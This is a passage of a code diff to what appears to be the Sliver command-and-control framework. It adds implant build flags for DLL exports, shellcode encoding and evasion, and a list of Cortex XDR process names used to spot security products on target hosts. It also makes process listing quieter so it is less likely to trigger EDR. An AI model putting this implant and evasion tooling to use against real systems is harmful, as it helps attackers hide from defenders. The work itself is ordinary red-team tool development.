"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -86,12 +87,35 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return false, errors.New("command name is required")
|
||||
}
|
||||
if man, ok := loadedManifests[manifestName]; ok {
|
||||
//foudn the manifest
|
||||
//delet it
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
// Found the manifest
|
||||
var extPath string
|
||||
if man.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
extPath = man.RootPath
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
}
|
||||
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
|
||||
@@ -143,6 +143,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
@@ -307,7 +309,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
// C2 channels
|
||||
@@ -353,6 +355,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -290,6 +290,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
var exports []string
|
||||
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
@@ -300,6 +302,13 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
||||
exportsArg, _ := cmd.Flags().GetString("exports")
|
||||
if exportsArg == "" {
|
||||
con.PrintErrorf("Shared libraries need at least one export\n")
|
||||
return "", nil
|
||||
} else {
|
||||
exports = strings.Split(exportsArg, ",")
|
||||
}
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -364,6 +373,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
// exports if its a shared library
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -395,6 +406,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
Exports: exports,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
NetGoEnabled: netGo,
|
||||
|
||||
@@ -36,6 +36,8 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
|
||||
implantName, _ := cmd.Flags().GetString("name")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
@@ -46,7 +48,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
_, err := compile(name, profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -48,7 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// Wireguard
|
||||
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// DNS
|
||||
@@ -85,7 +83,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
@@ -106,7 +103,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTPS
|
||||
@@ -132,8 +128,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("key", "k", "", "PEM encoded private key file")
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||
|
||||
@@ -25,11 +25,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("pid", "p", -1, "filter based on pid")
|
||||
f.StringP("exe", "e", "", "filter based on executable name")
|
||||
f.StringP("owner", "o", "", "filter based on owner")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments")
|
||||
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
@@ -100,6 +100,11 @@ var knownSecurityTools = map[string][]string{
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
@@ -108,14 +113,45 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ownerFilter, _ := cmd.Flags().GetString("owner")
|
||||
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
|
||||
tree, _ := cmd.Flags().GetBool("tree")
|
||||
fullInfo, _ := cmd.Flags().GetBool("full")
|
||||
|
||||
if tree && fullInfo {
|
||||
con.PrintWarnf("Process tree and full process metadata were requested. " +
|
||||
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
|
||||
fullInfo = false
|
||||
}
|
||||
|
||||
if ownerFilter != "" && !fullInfo {
|
||||
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmdLine && !fullInfo {
|
||||
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get OS information
|
||||
os := getOS(session, beacon)
|
||||
|
||||
/*
|
||||
Because a full list can trigger EDR on some platforms,
|
||||
namely Windows, filtering of the process list must be
|
||||
done on the implant side.
|
||||
*/
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
FullInfo: fullInfo,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
|
||||
if ps.Response != nil && ps.Response.Async {
|
||||
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ps)
|
||||
@@ -123,7 +159,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, cmd.Flags(), con)
|
||||
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -132,7 +168,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, cmd.Flags(), con)
|
||||
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -151,7 +187,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
pidFilter, _ := flags.GetInt("pid")
|
||||
exeFilter, _ := flags.GetString("exe")
|
||||
ownerFilter, _ := flags.GetString("owner")
|
||||
@@ -180,15 +216,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
defaultInfo := table.Row{"pid", "ppid", "executable"}
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
}
|
||||
|
||||
cmdLine, _ := flags.GetBool("print-cmdline")
|
||||
@@ -202,7 +248,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(proc, cmdLine, fullInfo, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
@@ -230,7 +276,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
|
||||
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
@@ -247,7 +293,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
var row table.Row
|
||||
switch session.GetOS() {
|
||||
case "windows":
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 1 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -263,13 +309,21 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
case "darwin":
|
||||
@@ -277,7 +331,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 2 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -292,12 +346,20 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ package command
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
@@ -31,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
@@ -91,6 +93,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
licenses.Commands,
|
||||
settings.Commands,
|
||||
alias.Commands,
|
||||
extensions.Commands,
|
||||
armory.Commands,
|
||||
update.Commands,
|
||||
operators.Commands,
|
||||
@@ -131,6 +134,26 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
|
||||
// [ Post-command declaration setup ]-----------------------------------------
|
||||
|
||||
// Load Extensions
|
||||
// Similar to the SliverCommand loading, without adding the commands to the
|
||||
// Server command tree. This is done to ensure that the extensions are loaded
|
||||
// before the server is started, so that the extensions are registered.
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
_, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
//con doesn't appear to be initialised here?
|
||||
//con.PrintErrorf("Failed to load extension: %s", err)
|
||||
fmt.Printf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
|
||||
//for _, ext := range mext.ExtCommand {
|
||||
// extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
//}
|
||||
}
|
||||
|
||||
// Everything below this line should preferably not be any command binding
|
||||
// (although you can do so without fear). If there are any final modifications
|
||||
// to make to the server menu command tree, it time to do them here.
|
||||
|
||||
@@ -87,6 +87,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
screenshot.Commands,
|
||||
environment.Commands,
|
||||
registry.Commands,
|
||||
extensions.SliverCommands,
|
||||
)
|
||||
|
||||
// [ Filesystem ]
|
||||
@@ -127,9 +128,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
bind(consts.AliasHelpGroup)
|
||||
|
||||
// [ Extensions ]
|
||||
bind(consts.ExtensionHelpGroup,
|
||||
extensions.Commands,
|
||||
)
|
||||
bind(consts.ExtensionHelpGroup)
|
||||
|
||||
// [ Post-command declaration setup ]----------------------------------------
|
||||
|
||||
@@ -144,7 +143,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
mext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
|
||||
@@ -628,8 +628,11 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, f, con)
|
||||
fullInfo := beacon.OS != "windows"
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
|
||||
|
||||
case sliverpb.MsgTerminateReq:
|
||||
terminate := &sliverpb.Terminate{}
|
||||
|
||||
@@ -50,6 +50,9 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Request and response content is not needed for cancelling a task
|
||||
task.Request = nil
|
||||
task.Response = nil
|
||||
}
|
||||
|
||||
if task != nil {
|
||||
|
||||
@@ -219,6 +219,23 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
|
||||
|
||||
plaintext, err := Decrypt(c.Key, msg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(msg) {
|
||||
digest := sha256.Sum256(msg)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// Encrypt - Encrypt a message with the contextual key
|
||||
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
ciphertext, err := Encrypt(c.Key, plaintext)
|
||||
|
||||
@@ -45,7 +45,7 @@ var (
|
||||
MaxN = uint64(9999999)
|
||||
|
||||
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
|
||||
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
|
||||
Base58EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base58EncoderID}}`, 10, 64)
|
||||
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
|
||||
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
|
||||
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
|
||||
|
||||
@@ -477,8 +477,8 @@ func migrateHandler(data []byte, resp RPCResponse) {
|
||||
migrateResp.Success = false
|
||||
migrateResp.Response = &commonpb.Response{}
|
||||
} else {
|
||||
// Search for the PID
|
||||
processes, err := ps.Processes()
|
||||
// Search for the PID, do not need all info about the process
|
||||
processes, err := ps.Processes(false)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
|
||||
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
@@ -49,7 +49,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -155,12 +155,12 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
|
||||
// Save the current network namespace
|
||||
pidPath := strconv.Itoa(os.Getpid())
|
||||
tidPath := strconv.Itoa(unix.Gettid())
|
||||
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
|
||||
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
|
||||
defer unix.Close(origns)
|
||||
|
||||
// We only need to use the path value
|
||||
for _, nsPath := range namespacesFound {
|
||||
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
for _, nsPath := range namespacesFound {
|
||||
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -180,7 +180,7 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Interfaces: %v\n", ifaces)
|
||||
// {{end}}
|
||||
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
|
||||
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
|
||||
}
|
||||
// Switch back to the original namespace
|
||||
unix.Setns(origns, unix.CLONE_NEWNET)
|
||||
@@ -205,8 +205,8 @@ func ifconfigLinux() *sliverpb.Ifconfig {
|
||||
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
|
||||
// Append namespace ID if passed in
|
||||
var appendNsId = ""
|
||||
if len(namespacePath) > 0 {
|
||||
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
|
||||
if len(namespacePath) > 0 {
|
||||
appendNsId = fmt.Sprintf(" NS(%v)", namespacePath[0])
|
||||
}
|
||||
|
||||
for _, iface := range netInterfaces {
|
||||
|
||||
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
|
||||
|
||||
@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.cipherCtx.Decrypt(data)
|
||||
